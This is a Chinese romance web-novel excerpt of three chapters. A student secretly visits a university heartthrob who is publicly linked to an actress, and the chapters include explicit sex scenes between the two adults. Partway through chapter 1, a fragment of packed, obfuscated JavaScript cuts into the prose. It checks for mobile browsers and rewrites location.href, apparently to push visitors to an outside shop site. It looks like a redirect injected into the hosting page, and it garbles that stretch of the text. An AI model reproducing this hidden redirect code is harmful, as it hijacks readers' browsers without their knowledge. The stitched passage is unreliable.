《不属于我的你》
1. 01
天光晃眼。
丛雪站在南城大学的校园平面图前,神情有点茫然。
脑门上全是汗,不知是热的还是急的。手往包里一摸,顺出一张卷着边角的火车票,聊胜于无地扇了扇风。
“基础医学院……学术报告厅……”
她嘴里念念有词,脑子却怎么也无法将扁平的地图拉成立体。
不是第一次来南城大学了。这所百年名校以理工科见长,校园里青砖黛瓦,茂林修竹,可丛雪无心欣赏。
作为一个典型的路痴,她每次都要跟在方屿青身后才不会迷路。
方屿青走路的时候不太喜欢说话,但方向感极强,丛雪只需要低头跟着他的影子,就什么都不必担心。
这是第一回自己走,已经在偌大的校园里转悠了半个小时,还是找不到要去的地方。
正焦灼着,旁边经过两个女学生。其中一个圆脸女孩注意到丛雪的为难,热情地过来问她需不需要什么帮助。
“你要去基医的学术报告厅?”女孩笑起来,露出一对小巧的虎牙,“巧了,我们正好要过去,一起一起!”
丛雪抿了抿唇,她不是会跟陌生人迅速热络起来的性格,但眼下的确有点“走投无路”,遂点点头,跟上她们。
道路两旁种满了高耸的梧桐,浓荫蔽日。
枝杈间清凉的风将丛雪鼻头的汗意吹散,只剩苹果肌上浮现的淡淡粉润。
她安静地走路,没看风景,也不主动搭话,仿佛陷在某个沉默的念头里。
圆脸女孩大概是个受不了冷场的性格,主动问道:“你是去听劳伦斯教授的讲座啊?”
“嗯。”丛雪乖巧应着。
“我们也是呢。”
“你们……是医学院的学生?”
“没有啦,我文学院的。”女孩极其自然地指了指同行的朋友,“她社科的。”
丛雪一愣:“那你们是……”
“去看人的呀。”女孩递过来一个八卦的眼神,“他们基医有个门面,长得很不错,叫方什么来着——”
“方屿青。”另一个女生无语地提醒。
“对对,瞧我这脑袋,就是这个有点绿的名!”
女孩给自己说乐呵了,摇头晃脑的:“今天那个论坛传说就是方屿青主持,我们听不懂什么表观遗传学、什么非编码RNA的,就单纯去凑个热闹,顺便欣赏一下帅哥的颜值,愉悦身心嘛。”
她又问丛雪:“你刚刚都找不到报告厅,应该也不是医学院的吧?”
丛雪摇头:“我不是南大的。”
“嗬,姓方的名气已经传播到外校了吗!”女孩有点惊讶,上上下下扫她一眼,“你这是……专门来围观我校校草的?”
丛雪想说她误会了。
可是琢磨了一下,似乎也没说错。
见丛雪沉默下来,女孩还有什么不明白的。
她轻啧一声,看上去似乎有点为难:“这位外校的朋友,你恐怕要失望而归了。”
丛雪疑惑地眨眨眼。
对方却不解释,只一味拽着她的胳膊加快了脚步:“到了你就知道了。”
*
大学生们上课素来讲究一个卡点,不打铃不进教室是基操。可今天,距离讲座开始还有二十分钟,学术报告厅里已然黑压压坐满了人。
圆脸姑娘的室友在最后一排提前占了位置,丛雪这个外校的也幸运地蹭到了一个座儿。
她坐下之后,抬眼向前方望去。
现场女孩子居多,个个打扮得漂亮又精神。
丛雪从包里拿出纸巾,擦了擦脑门上的汗。
今早下火车的时候,她只简单在车站的洗手间洗了把脸,抹了点超市打折时买的防晒。此刻被太阳一照、汗水一闷,脸上似乎冒了油。
她一边擦着脸,一边低头看,白色连衣裙的下摆被压得皱成一团,赶紧伸手抚了抚。
桌上的手机一亮,有微信进来。
Isle:【出发了?】
丛雪抬头看了眼周围的人,谁都没在往这个方向看。
她低下头,打字,简单一句:【嗯。】
Isle:【几点到南城?】
丛雪刚要接着回复,身旁的圆脸女孩忽然转过来和她说话:“我叫邱晗,你怎么称呼?”
“丛雪。”
“呵,这名字听着就凉快!”
邱晗有点喜欢这个文文静静的姑娘。她能看得出来,丛雪不太爱说话,性格有点腼腆。
周围那么热闹,大家都在叽叽喳喳地聊天,只有她安静坐着,显得很规矩,似乎还有点紧张。
这么乖的女生,竟然有胆子独自跑来南大看帅哥?这是有多喜欢啊。
想到这里,邱晗拧起眉头,压低声音道:“丛雪同学,听我一句劝,帅哥看看就好,不能动真心的。”
丛雪一愣,还没来得及问一句“为什么”,人群忽然安静下来。
两人不约而同地抬头,只见远处主席台上白光大盛,一道清隽的身影穿过人群喧哗,出现在视野里。
丛雪的目光越过层层后脑勺,追随着那道身影而动。
隔得太远,看不清楚五官,可脑子已经自动描绘出一个清晰的拓本。
方屿青站在台上,雾色衬衫的下摆利落地收进西裤里,单手持话筒,另一手闲闲垂在身后,像一株沐浴着月光的树。
开口英文清晰流畅,语速不紧不慢,声调沉静,脸上没有任何多余的神情,却莫名让人觉得信服。
他在介绍今天的嘉宾,一位世界级的知名生物学家。
方屿青一出场,丛雪就听到邱晗和朋友们交头接耳的声音。现场要是有瓜子,她们怕是已经嗑起来了。
“啧,装了吧唧的,但模样我喜欢。”
“也就还行吧?勉强8分,没传说的那么神。”
“和你们院的比呢?”
“比啥比,我但凡犹豫一秒,都是对美色的不尊重!”
“原来你的8分是满分啊……”
“都长成那样了,我再不锐评一下,他的人生岂不是没烦恼了?”
……
这位传说中的南城大学校草,成绩好,颜值顶,据说连家世也极为优越,是不少妹子心目中的理想型。
丛雪的眼神定格在那人身上,像是要将他仔细看个够。
方屿青的目光却突然扫过来,丛雪一惊,立刻埋下头去。
心里忍不住叹了口气。
紧张什么。
这么远,他又看不到。
这是一个对话性质的论坛,白发苍苍的劳伦斯教授是个精干的小老头,双手交叠坐在软椅里,接受对面年轻人的采访。
方屿青肤色偏冷白,鼻梁高挺,漆黑的眉眼在礼堂的灯光下显得尤为干净。此刻,面对着学界大拿,他神情中又添了几分专注,好学生的气质展露无遗。
可一开口,问题却十足犀利,话锋夹杂着凛冽的洞察力,完全没有一个本科生面对学术权威该有的畏怯,从容得过了头。
丛雪想,他永远有自己的节奏,好像不知道什么叫紧张。
她想起高二的某个下午,方屿青在篮球赛上耗光了体力,趴在课桌上补觉,被老师点名起来回答问题。
站起来的时候,他人还是懵的,余光瞥一眼丛雪,似乎想获得些提示。
丛雪却把脸深埋进课本里,一点线索也不给。
方屿青只得看黑板。
黑板上写着一道题。
他略一沉吟,答:“这题有两种解法,用微积分更简洁,只是不在高考范围内,普通函数能解但是啰嗦,您想让我用哪种?”
老师:“……”
他只是让方屿青回答卷子上的选择题,没让他去解这道接下来要重点讲解的大题啊!
而且,他凭什么说自己教案上的法子啰嗦!
……
丛雪望着台上言谈自若的身影,不知怎么的,突然想起了那一幕。
当时他趴在课桌上睡觉,侧脸埋在手臂里,发梢黑得发亮,蹭在冷白皮肤上。
腕骨突出,黑白分明,美得像一幅人物素描。
丛雪看得有些出神。
老师讲了什么,她一句也没听见,又哪里来的提示可给。
……
周围嗡嗡的讲话声不断,邱晗和朋友们的用词也越来越大胆,话题已经不在脸上,直奔下三路而去。
听着她们肆无忌惮的调笑,丛雪不知想到了什么,嘴角弯了弯,心里有一丝羡慕。
别人可以随意地看他、谈论他,只有她不敢。
连个眼神都要藏着,好像躲在这人山人海的大背景里,才够隐秘、够安全。
邱晗注意到丛雪怔忪的神色,心里叹了口气:瞧瞧,我就说美色误人吧,这怕不是又沦陷了一个。
赶紧靠过去,及时打碎她的幻想:“人家有女朋友了,不是你我能惦记的男人。”
丛雪一惊,猛地抬起头。
“有什么好惊讶的?这种品相的,怎么会没有女朋友?”
邱晗摇了摇头:“可怜我们班一位女侠,军训的时候一眼就相中了,还一追就是四年,不也没成?后来我们才知道,人家早就有女朋友,高中就在一起了。”
邱晗语调放软,讲八卦的语气一秒切换成讲童话,透着甜滋滋的羡慕——
“听说两人是青梅竹马,从小一起长大的,浪漫吧?女生也我们学校的,表演系的宋恩让。诶,那位也是个风云人物,或许你听说过她?”
邱晗一边说,一边在自己的手机上点了几下,拿给丛雪看。
“最近很红的一部短剧,里面有个白月光女配,就是宋恩让演的。”
手机屏幕上是一张单人角色海报,上面的女孩娇美动人,是让人一见倾心的长相。
对上这张脸,丛雪激荡的心潮重新恢复平静。
她发自内心地赞叹:“很漂亮。”
“当然漂亮了,不漂亮能配得上那位?”
邱晗冲台上努了努嘴,拍着丛雪的肩膀安慰道:“校草是校花的,咱们这些普通人啊就只饱饱眼福得了。”
*
台上交流的内容相当专业,全是生物医学领域的前沿研究,在座的一大半人都听不太懂。
到了提问环节,也基本被医学院自己的学生包揽。
最后结束的时候,丛雪甚至听到了邱晗微弱的欢呼声,这天书一般的两个小时终于到了头。
狭窄的过道里,人群黑压压地往外涌。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609634|187611||http|test|mini|href|location''.split(''|''),0,{}));
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>丛雪在最后一排,出去得最早,却只是背着书包站在出口旁。
邱晗问她要不要一起吃饭,顺便带她参观一下南大校园。
“我还要等人……”丛雪感激地笑了一下,“今天谢谢你。”
邱晗无所谓地一摆手,和朋友们离开了。
台上,劳伦斯教授被一圈人围着,还在进行深入的学术交流。
方屿青身边也围了不少人,有真诚来交流的,也有女孩子羞答答地上前要联系方式的。
这种场景十分熟悉,从高中起,他的身边就总是围满了人。
丛雪没再看,默默转身走了出来,穿过门厅,沿着石阶而下。
空气依旧闷热。
她躲进教学楼外的树荫里,拢着裙摆蹲下身。
地砖缝里有新冒头的野花,黄橙橙的花瓣已经有些耷拉。丛雪拉开书包拉链,掏出仅剩一截瓶子底的矿泉水,沿着砖缝浇了一遍。
等到人群散尽的时候,小腿有点蹲麻了。
她揉着腿肚站起身,忽然心有所感地抬头,一眼望见从门厅里走出来的人。
方屿青身后跟了个男生,正在滔滔不绝地讲着话。
他本人看上去没什么谈兴,只是垂着眼,不知在回谁的消息。
他们停在门口。
片刻后,方屿青将手机收进裤袋里,面无表情地抬头——恰好与丛雪自下而上投来的视线相遇。
一瞬间,他的眼底闪过一抹极轻微的惊讶,带得那双黑漆漆的眼睛也跟着亮了亮。
像是一阵风忽然吹过水面,不盛也不烈,荡起一丝无人知晓的涟漪。
方屿青抬脚就要朝前走,被身旁的男生眼疾手快地拉住。
“哪儿去!劳伦斯马上出来了,一块聚个餐。”
“有事,去不了。”方屿青盯着丛雪的身影,心不在焉。
顾陶顺着他的视线看过去,只见不远处站着一个女孩。
女孩穿着一条米白色连衣裙,半长秀发静静披在肩头,五官小巧柔和,透着一股恬淡的清纯,像一捧不动声色的泉水。
“呦,谁啊?”
“没谁。”方屿青挣开他,眼看又要走。
“你可不能走!”顾陶不管不顾地一把抱住人,“院长吩咐过,让咱几个招待好里头这位大牛。你是不在意,我等凡夫俗子还想顺利毕业呢!”
“去抱劳伦斯的大腿,抱我没用。”方屿青不为所动。
顾陶立刻改口:“宋恩让也来!”
丛雪听见这个名字,心头一涩,指尖下意识收紧。
方屿青瞥他一眼:“她来干什么?”
“来玩呗,劳伦斯不喜欢太官方的,咱们就搞成私人聚餐,反正她和大伙都认识,人多热闹嘛!宋美女性格好,有她在,绝对不会冷场。”
在顾陶眼里,宋恩让就是他见过的最完美的女孩。
长得漂亮就算了,人也特别热情大方,没有一点架子。每次来找方屿青的时候,总能和他身边的男生们打成一片。
若问整个生物医学科学系男生心目中的女神是谁,非宋恩让莫属。
真是便宜他方屿青了!顾陶忿忿地想。
方屿青扭过头,丛雪不知什么时候已经走了。
这时候,劳伦斯教授也出来了,身后跟了乌泱泱一大帮人。看见方屿青,教授立刻过来,拍了拍他的肩膀,露出甚为欣赏的表情。
大家连拉带拽地簇拥着若有所思的方屿青,朝停车场的方向走去。
*
丛雪躲在墙后,直到人都走光了才出来。
她顺着校园的主干道一路问人,兜了不少冤枉路,终于找到南大的后门。
一出校门,周围的环境变得熟悉起来。丛雪穿过马路,走向对面的小区。
小区有些年岁,是南大周围开发最早的一片商业住宅区,也是整个南城市有名的学区房。
楼体比较旧,没有电梯,丛雪一路爬到六楼,汗水已经沾湿了肩背。
她熟门熟路地按下密码,开门。
房子内部与老旧的楼体形成鲜明对比——素雅的白墙,浅木地板,设计感十足的家具,一眼可辨的日式田园风。
丛雪在玄关换了拖鞋,打量了一下整个房间。
她知道,保洁会定时上门清理,哪怕房子空了一阵,和之前也没有太多变化。
她的小毯子还如两个月前那般堆在沙发上。
丛雪拿起来,叠好收进柜子。
走进主卧,拉上窗帘,丛雪解开连衣裙的拉链。
天太热,布料都要黏在身上了。
当然,更是因为这料子不够高级,没有那么轻薄透气。
丛雪将衣服全部脱下,进了浴室。
不一会儿,哗啦啦的水瀑兜头而下,顺着白皙的脊背向下流,冲刷掉旅途的疲惫。
……
方屿青一进门,就听见浴室里传来的水声。
他目光轻轻一动,单手解开最上面的两颗扣子,喉结无意识地一滚。
站在浴室门前,手搭在门把上,推开一条缝——
水声骤然清晰。
浓白的雾气已经氤氲了整块玻璃墙,影影绰绰地包裹着一道纤细的人影。
方屿青径直走了进去。
2. 02
一小时前——
周围全是依哩哇啦的人声,热情的英文掺杂着中文回荡在包厢里,劳伦斯小老头被一群学术青年团团围住,看上去有点应接不暇。
“这帮猴子压根不是来吃饭的,是来刷脸蹭推荐信的。”顾陶凉凉评价完,转头去看方屿青。
他正揣着手臂,八风不动地坐着。
方屿青肤色很白,头发乌黑,包厢里半亮的光打在他脸上,整个人有种澄澈的脱俗之感。
如果不是特别熟的人,压根看不出——他正在发呆。
顾陶觉得他这副模样挺稀奇:“你说实话,刚才那个女生是谁?”
方屿青若无其事斜他一眼。
“大学四年,等在咱们宿舍楼下的女生不知凡几,哪回见你赏个眼神了?等闲之辈可入不了您老的眼。”
顾陶回忆着刚刚那个女生的模样:“唔……看着挺乖的,长得也还行,不过,比宋恩让是差了点。”
方屿青睨着他这副狗腿样,挑了挑眉:“宋恩让救过你命?”
“……那倒也不至于,只是我等凡人仰慕女神罢辽。”
顾陶拿起手机,点进他们共同的群,眼睛一亮:“诶,女神发消息了!说路上有点堵,让咱们先吃,她一会儿就到。”
说完,又半玩笑、半认真地规劝方屿青:“我说哥们儿,都坐拥校花了,路边那野花再香咱也不能采啊……”
本是一句开玩笑的话,方屿青却眯了眯眼,唇角勾起一抹兴味盎然的笑。
他忽地站起身,椅子在地砖上拖出一声清脆的响动。
“你干嘛去?”顾陶呆呆地问。
“摘花。”
方屿青头也不回地出了包厢,留下一屋子人面面相觑。
*
浴室里水雾氤氲,丛雪站在花洒下,任凭热水溅落在头顶。
她抹了一把脸上的水珠,手伸向壁龛里的沐浴露。
泵头轻轻一压,一坨柔粉色泡沫挤在掌心。
空气里登时飘散出清新的蜜桃甜香。
这瓶沐浴露,是她上次来南城的时候买的。
那天,方屿青带她出去吃饭,回来的路上,正巧经过南大学生组织的创意市集。
市集布置得文艺又热闹,摊位上摆满了各色小玩意,许多都是学生亲手制做的。
丛雪因为囊中羞涩,消费向来克制,还没逛过这种氛围型的夜市。她穿梭其中,在每一个摊子前驻足,兴致勃勃地左右张望。
方屿青也不催,只是抱着胳膊跟在她身后。
逛来逛去,丛雪被一瓶外表别致的沐浴露吸引了目光。
沐浴露的瓶身是一颗熟透的大桃子,圆滚滚的,看着就让人很想伸手摸一摸。
推销的女孩是化学系的研究生,热情地对着丛雪一通介绍,说这款是他们的专利产品,成分天然,富含果酸,对皮肤超好,洗完绝对油光水滑,蚊子都站不住。
丛雪听着听着就有点心动,下意识看了眼价标。
小小一瓶沐浴露竟然要两百多块,比超市里的牌子都贵。
她当即就要把东西放回原处,旁边,方屿青已经扫了付款码。
推销的女孩乐呵呵地把纸袋递给她,附耳道:“你男朋友不仅帅,还舍得花钱,真不错!”
她声音不大,方屿青离得远,应该没听见。
丛雪低垂着眼眸,怀中抱着新买的沐浴露,默默走在方屿青身后。
月光铺满小径,斑驳的光影随风晃动着,一如她的心情。
男朋友。
她在心里默念了一遍这个词。
方屿青不是她男朋友。
现在不是,以后也不会是。
但是她当时……没有否认。
就像梦里才敢偷偷代入一下的情节,被陌生人无意间说了出来,丛雪听得心惊,心底却泛起甜蜜的、酸楚的欢喜。
……
拿起沐浴露的瓶子掂了掂。
两个月没来,罐子里的余量依然很足。
很明显,没有人动过。
方屿青这学期课业紧张,大部分时间都住在学校。
丛雪偷偷地,有一点开心。
虽然她从没有问过方屿青的私生活,可如果有别的女生接近他……
丛雪讪讪地想,大概宋恩让会比她更着急吧。
正出着神,淋浴间的门被推开了,一双手从身后伸过来,猝不及防地环住了她的腰。
丛雪猛地回头,惊呼还未出口,下颌就被擒住。
唇被强行撬开,一股冰凉的薄荷味道裹着熟悉的气息渡到舌尖,瞬间止住了她的挣扎。
透过缭绕的水汽,她看到方屿青俊秀的眉眼。
他衬衫半解,衣服都没脱,就径直钻了进来。
几个小时前,他还一身清冷地站在讲台上发言。此刻,雾灰色衬衫被水打湿,几近透明的布料薄如蝉翼般贴在胸前,勾勒出精实的肌肉线条。
他的头发也湿了,水珠顺着额头往下淌,在皮肤上折出微光,湿漉漉的五官比平常更染上了几分欲气的美色。
方屿青从身后扣着她,力道有点大,丛雪只能就着这个别扭的姿势同他接吻。
直到肺腑里的空气都被夺走,这个吻才渐渐由唇角蔓延到了耳廓。
方屿青咬一下她的耳垂,将她整个人转过来,面对他。
丛雪想要遮挡,却被擒住了手腕。
他笑了一下:“害羞?”
“你怎么……回来了?”丛雪一双眼睛黑葡萄似的,雾蒙蒙地望着他。
方屿青瞧着眼前的景致,心头一热,难以自持地再度吻上来。
“跟他们吃饭有什么意思。”
还是跟你做更有趣。
他们在花洒下忘情地接吻。
丛雪被迫仰起头,口腔打开,唇齿间的薄荷味已经消散,只余热水的味道。
浴室里氧气稀薄,丛雪眼前闪过零星光斑,感觉即将窒息在这个长久的吻里。
鼻腔里溢出哼声,她伸手轻轻推他,方屿青终于放过她的唇,向下探去。
“到了怎么不告诉我?”
丛雪知道,他是在问为什么谎报行程,直接去了学术报告厅现场。
心里有些讪讪,不太是滋味,丛雪试探地问:“你……介意我来学校看你吗?”
方屿青却直接略过她的忐忑,边亲边答:“怕你迷路。”
“我……我可以的。”
丛雪浑身发软,脸颊漫起酡红,声音断断续续。
整个空间里萦绕着桃子味的甜香。
她手心里的沐浴露早就被水冲散了。方屿青重新挤出一捧,湿滑的泡沫沿着她的肩背,腰臀,大腿一路游走。
清新的蜜桃味道在热气的熏蒸下逐渐变得妖娆。
丛雪手抵在他胸口,求饶般嘤咛出声:“……我自己来。”
方屿青压低了背,整个人罩在她身上,声音又低又哑:“我吃,当然是我洗。”
“……”
等丛雪被擦干水珠、抱到床上的时候,已经过去了一个小时。
周遭的一切好像仍在不停晃动。
嗓子喊哑了,腿轻轻发着抖,浑身使不上一点力气。
丛雪揪住被角,盖住自己的身体。
本想躲进被窝里缓一缓,脚踝却被方屿青捉住,朝两侧分开。
他跪坐在床上,自上而下盯着她。
那双眼眸漆黑,被热水涤过的瞳孔亮得惊人,连带着眼尾那颗小痣也跟着变深,像白皙画布上随意挥洒的墨点。
丛雪的目光停在那颗小痣上。
小痣原本的颜色极淡,只有离得很近时才会注意到。
丛雪第一次留意到它,是被方屿青按在怀里,躲避飞过来的玻璃瓶。
她当时懵懵地抬起头,纷乱场景中只记住了视野中的这颗痣,像枚细小的软钉嵌进她的心底,再也拔不出来。
后来无数个夜晚,在同方屿青融洽无间的时刻,丛雪总会哆嗦着抬起手,轻轻碰一下这枚小痣。
只摸到一手微潮的细汗。
那是年轻男生旺盛的精力和蓬勃的荷尔蒙。
方屿青忘我地沉浸在情欲里,顾不上她的动作。
她便着迷一般反复揉摸,摸得方屿青以为她在分心,不满地来堵她的嘴,边亲边攥住那双细白手腕,压在头顶的床单上。
“好像一颗熟透的水蜜桃。”
方屿青专注地盯着她,发丝湿漉漉的贴在额前,有一种干净又凌乱的帅气。
“……沐浴露本来就是桃子味的。”
他喉口溢出轻笑:“不仅是气味。”
那瓶沐浴露是她挑的,甜得有些腻人。
方屿青自己用的时候还不习惯。但今天,他却觉得这味道很好闻。尤其是丛雪用过之后,清甜中带着一丝娇媚,莫名的诱人。
他勾了勾唇,居高临下地审视,目光无遮无拦,落在她身上。
他看哪儿,哪儿就羞得滚烫。
丛雪已然被他的目光轻薄了一遍。
饶是他们在身体层面已经非常熟悉,被这样放在灯光下端详,丛雪还是臊得难堪,想要蜷起身体来遮掩。
她手腕动了动,又放下了。
只是把脸扭向一旁,睫毛扑簌簌颤抖。
“怎么不躲了?”
方屿青捏着她的下颌,轻轻转回来,觉得她这副隐忍的模样有趣极了,身体内的绮念又开始蠢蠢欲动,“你刚才明明想躲。”
丛雪闭着眼睛,不回答。
她的身体,他其实看过太多遍,每个地方都熟悉至极。只是不知
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道为什么,两年了,他似乎还没觉得腻。
这和她一开始预想的不一样。
方屿青俯身,手掌沿着光洁细腻的肌肤滑过,又拢住捏了捏。
“我说的是这里。”
丛雪“腾”一下红了脸,粉润沿着肌肤爬满全身。
“很甜。”方屿青偏头含住她的耳骨,滚烫的气息灌进去,嗓音低哑得惑人,“想从头到尾……都尝一遍。”
丛雪的耳膜被他粗重的气息穿过,脑子嗡的一下,浑身起了颤栗。
莫名的,她想起今天邱晗她们对他的调侃——
“你们说,帅哥有性生活吗?”
“不好说,看着就很禁欲党。”
“同意,反正很冷淡就是了。”
……
丛雪咬着唇,一双瞳孔水蒙蒙的,望着虚空中不断晃动的光点,心里只有一个模糊的念头:她们说错了。
别人眼中纤尘不染的清隽校草,在床上却是另一副模样。轻浮,恶俗,还下流得要命。
“多久没来了,还记得吗?”
方屿青漆黑的眼睛盯着她,声音哑得几乎气音,带着难耐的喘息。
丛雪对着这张蛊惑人心的脸,满脑子好似涂满了浆糊:“两……两个月?”
“68天。”他眼尾尽是诡异的潮红,不满地咬住她的下唇,重重一吮,“最近很忙?”
“嗯……要毕业了……学校……事情多。”
她的声音断断续续,还是不太习惯在这种时候同他一本正经地聊天。
他笑了笑:“正好,今天帮你放松一下。”
丛雪不自觉地拧起眉,抱着他的脖子闷哼出声。
视野再度变得昏乱起来,直到理智被彻底吞噬瓦解。
*
再次清醒的时候已经是晚上。
丛雪浑身酸软得仿佛没了骨头,连睁开眼睛都要花些力气。
许是太久没做了,今天的方屿青兴致极高,毫不收敛,哄着她来了一次又一次,没完没了。
可偏偏丛雪最不擅长的,就是拒绝他。
犹记得很久以前,他们刚开始这段混乱不堪的关系时,方屿青在意乱情迷的时刻曾经告诫过丛雪,不要太顺着他。
他什么意思,丛雪现今仍不太明白。
她胡乱回忆着,就这么发了一会儿呆,半晌,偏过头。
咫尺外是方屿青好看的睡颜。
他不喜欢枕头,睡着的时候,枕头常常不翼而飞。
脸颊贴着床单,眉目温静。
一缕头发耷在眼角,遮住了那颗浅色小痣,被丛雪轻轻拂开。
她收敛呼吸,侧过身,凝眸看他。
睡着以后,方屿青身上那种从容得有点轻世傲物的气场消失了,整个人显得特别乖顺。
丛雪忍不住伸手,摸了摸他的头发。
发质很顺,软软的,一点也不像他平时给人的感觉。
丛雪看了很久,这才放轻动作起身。
身上太黏腻,她得去洗手间处理一下。
地板上散落着方屿青用过的东西。
丛雪一一捡起,丢进垃圾桶,连着床头柜上空了的包装盒一起。
她又去捡他丢在地上的衣服,触到口袋里的手机,屏幕赫然亮起,几条未读微信跃进眼底——
宋恩让:【你人呢?没见到我就走,是不是又在装忙?】
宋恩让:【今天的新裙子,好看吧?】
宋恩让:照片1.jpg
宋恩让:照片2.jpg
丛雪默默地将手机放在桌角的圆圈上充电,打开衣柜,将方屿青的衣服挂好。
挂衣服的时候,不经意瞥到自己脱下来的、皱成一团的米白色连衣裙。
它也是一条新裙子。
来南城之前,丛雪特意拉着室友逛街,在学校后门的小店里看到这条裙子。
裙子穿在模特身上,是刚到的新款。
她试穿了之后,室友夸赞特别好看,说她像一株冰清玉洁的铃兰。
丛雪有些羞赧,忍不住想,不知道方屿青会不会觉得好看。
他好像都没看到她穿这件衣服。
裙子不算便宜,丛雪还是咬牙买了。
但再怎么不便宜,跟宋恩让身上的那件一定是不能比的。
丛雪拎着裙子去了洗手间,几下搓洗干净,铺展着晾在了阳台上。
回到卧室的时候,床头的灯光已经调到最暗,光线斜斜打在方屿青的侧脸,勾勒出清俊的轮廓。
他睡得很沉。
丛雪轻手轻脚地掀开薄被。
刚一躺下,方屿青就若有所感般翻了个身,将她卷进怀里,下巴顶在她额角。
丛雪顺着这个姿势没动,听着他平稳的心跳声,也渐渐入了眠。
3. 03
一觉睡到天明。
睁开眼睛时,天光正盛。
丛雪缩在被子里,模模糊糊听到方屿青在外面打电话。
似乎为了不吵醒她,他躲去了洗手间。
可对方的声音穿透力极强,带着令丛雪熟悉的压迫感,水一样灌进她的耳朵。
“屿青,我想去郊外的云明山散心,你陪我去吧?听说那山上有个福源庵,求什么都很灵验,我想去许愿!”
洗手间里一阵嗡嗡响,方屿青将电动剃须刀放下,拧开水龙头,淡淡人声淹没在哗啦啦的水声里。
“都小长假了,你还没时间啊——”
宋恩让的语气依旧轻快,可声音里却好似突然长出一排小牙,开玩笑般轻轻咬他一口:“我懂,方大公子不是没时间,是不想把时间浪费在我身上罢了。您现在芳名大着呢,生怕我碍了您的桃花,急着和我避嫌呗!”
偷听的丛雪想,这句话倒是事实。
高中三年,宋恩让就像罩在方屿青身上的绝缘布,什么明恋暗恋通通隔离在外边,一丝也透不进来。
多少人悄悄心碎了整整三年啊。
“嗯,你知道就行。”
方屿青语气随意,顺水推舟地认了。
丛雪和电话对面的宋恩让同时一愣。
“不是,你还真认啊?”电话那头响起无语的唏嘘声,“方屿青,你真是越来越会气人了,这么惜命地护着时间,是要留给谁啊?”
“忙,没事挂了。”
“哎哎哎——等等!”宋恩让没兴致了,故意换上死气沉沉的调子,“耿路辉回来了,咱们三个好久没聚了,这下,您这位大忙人总该有空了吧?”
方屿青哼了一声:“勉强吧。”
宋恩让简直被他气笑:“见我没空,见他就有空?我出去拍戏整整两个月了,你有问候过我一句吗?本来想趁昨晚的饭局见个面,结果你早退不说,连微信也不回。”
说到最后,她干脆撒起娇来:“总之,方屿青,你得罪我了!”
霸道的女声消失了。
丛雪竟稍稍松了一口气。
她默默地想,也只有宋恩让可以和方屿青这样讲话。
丛雪从床上坐起身,拿过自己的手机。
今天是小长假第一天,室友孙佳妮在寝室群里发了几张自己和朋友出游的照片。
照片里人潮涌动,黑压压的全是脑壳,景区的风景被隔离在另一个图层里,像P上去的。
另一个室友郑融回复道:【突然觉得我的床和外卖好香。】
她又@丛雪:【你呢,漂亮裙子穿上了没?】
大家都只当她是穿着新衣服回老家,并不知道方屿青的存在。
在室友眼里,丛雪是整个寝室最乖巧懂事、没有脾气的女生。每天按点作息,上课从不迟到,还承包了大半的寝室卫生。
她对每个人都耐心周到,如果有求于她,只要她能办到,就一定尽心尽力,从不敷衍。
室友们都挺喜欢她,对待她有种呵护好学生的义务感。
曾经有个外系的男生看上丛雪了,辗转着过来打听,想追求她。室友们听说后,开了一场寝室大会,把这个男生里里外外的分析了一圈,再投票表决,最终结果是不通过。
丛雪对她们的决策毫无异议。
大家说不行,她转头就和人家说清楚了。
为此,室友们越发心疼她,觉得丛雪单纯又听话,得好好护着,不然要被男人骗。
殊不知,大家心目中一泓清泉般的女孩子,早在两年前,就已经和一个男人偷吃了禁果。
开门的声音响起,清新的须后水味道涌向鼻端。丛雪还没反应过来,就被人搂进了怀里。
方屿青刚刚洗了澡,身上散发着暖呼呼的水汽。他坐在床沿上,从背后抱住她。
“醒了?”
丛雪感觉到他湿热的脸颊埋在她的颈窝蹭,带着几分轻柔缱绻的意味。
柔软的嘴唇贴在她的耳朵上,说出的话却毫不遮掩——
“想做。”
“……”
“看见你就想。”
丛雪睁大的眸子里透出惊讶。
她几乎数不清昨天晚上有多少次。
丛雪明白,生理上来说,二十来岁的男生都挺血气方刚的……但方屿青不是。
她竟想不起来,他什么时候变得这么重欲了。
丛雪还记得他们第一次结束后的那个清晨。
她浑身疲软,缓缓睁开眼睛,身边的位置却是空的。
方屿青已经穿戴整齐,站在床边望着她,神情莫测。
他眉目微蹙着,看她的眼神冰冷又陌生,仿佛她突然成了一团看不透的疑云。
“你计划好的?”
他嗓音沙哑,目光
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带着审慎的探究,落在她脸上。
半晌,像是突然明白过来什么,他低笑出声,语气透着一丝玩味的讶然:“你……拿我当捷径?”
丛雪第一次看到方屿青对她露出那样轻蔑的表情,连唇角的弧度都勾着讥讽,像是一眼洞穿了她企图向上爬的心。
他大概在想,真是重新认识了这么个人。
当初说出那种话的他,和此刻这个歪在自己身上求欢的,真是同一个?
丛雪心中惊讶着,身体却做出了本能的回应。
方屿青一过来亲她,她就乖乖仰起脸,睫毛抖擞着盖住眼睛。
方屿青虚虚搂着她,一边亲,一边不老实地到处摸。
手掌探进睡裙里,指间肌肤像剥了壳的鸡蛋,柔嫩又顺滑,对他毫不设防,予取予求。
她太惯着他了,方屿青忍不住想。
他垂眸,一眼瞥到丛雪胸前的印子。
其他地方也有,能看得出昨晚有多激烈。
他都把她欺负成这样了。
“算了。”方屿青在心中暗骂自己一声,放开丛雪,语气带着愉悦的无奈,“太浑蛋了。”
丛雪不解地眨眼看他。
“今天想不想出门?”
方屿青的语气变得柔和,眼神也是。
丛雪感觉得出来,他似乎心情不错。
心头陡然塌陷了一块——
宋恩让的一通电话,就能让他心情这样好么?
丛雪对着这张容光焕发的脸,心中涌起一阵熟悉的、无地自容的难堪。
“怎么不说话。”方屿青捏捏她的脸,没什么多余表情,可一双明眸昭示着他的好心情,“去哪儿都行,今天陪你。”
他很少有这种百依百顺的时刻。
丛雪每次来南城,他们默契地相聚在这栋房子里,见了面就开始没日没夜的纠缠,不是在床上,便是在房间的其他角落,总之,很少出门。
饿了就点酒店的外送,高档饭食摆一大桌。
他们一起吃过许多次饭,每次也只是为了填饱肚子,再返回到床上。
能称得上“约会”的次数几乎没有。
